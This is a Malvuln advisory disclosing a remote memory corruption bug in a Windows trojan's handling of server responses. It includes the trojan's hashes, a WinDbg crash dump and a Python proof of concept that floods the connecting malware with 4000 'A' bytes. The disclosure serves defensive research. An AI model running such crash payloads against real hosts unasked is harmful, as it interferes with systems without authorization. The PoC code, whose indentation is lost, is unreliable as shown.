TROJAN.WIN32.JORIK.DMSPAMMER.SZ malware suffers from a remote memory corruption vulnerability.
55fd186c4f2c6e538578030ac38957e3Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/bdcaed5042eba30f91b093f0bcb3caf3.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: TROJAN.WIN32.JORIK.DMSPAMMER.SZ
Vulnerability: Remote Memory Corruption
Description: Memory corruption on server response when making HTTP POST request for PHP file named "stat1.php" on TCP Port 80.
Type: PE32
MD5: bdcaed5042eba30f91b093f0bcb3caf3
Vuln ID: MVID-2021-0008
Dropped files: svcnost.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 1/2/2021
Memory Dump:
(1dc4.14dc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=ffffefff edx=00000000 esi=00000003 edi=00000003
eip=773ced3c esp=0acbf444 ebp=0acbf5d4 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h
0:003> .exr -1
ExceptionAddress: 03b2657b
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 0ada1000
Attempt to read from address 0ada1000
0:003> .ecxr
eax=e5cb4ea8 ebx=00000002 ecx=ffffefff edx=00000000 esi=0ada1000 edi=0adc2390
eip=03b2657b esp=0acbfd84 ebp=0acbfdc4 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
03b2657b f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
0:003> dd 0adc0008
0adc0008 41414141 41414141 41414141 41414141
0adc0018 41414141 41414141 41414141 41414141
0adc0028 41414141 41414141 41414141 41414141
0adc0038 41414141 41414141 41414141 41414141
Exploit/PoC:
import socket
port=80
payload="A"*4000
def doit():
global payload
s = socket.socket()
try:
host = ''
s.bind((host, port))
s.listen(5)
print('TROJAN.WIN32.JORIK.DMSPAMMER.SZ / Remote Memory Corruption')
print('MD5: bdcaed5042eba30f91b093f0bcb3caf3')
print("By malvuln")
while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
except Exception as e:
pass
if __name__=="__main__":
doit()
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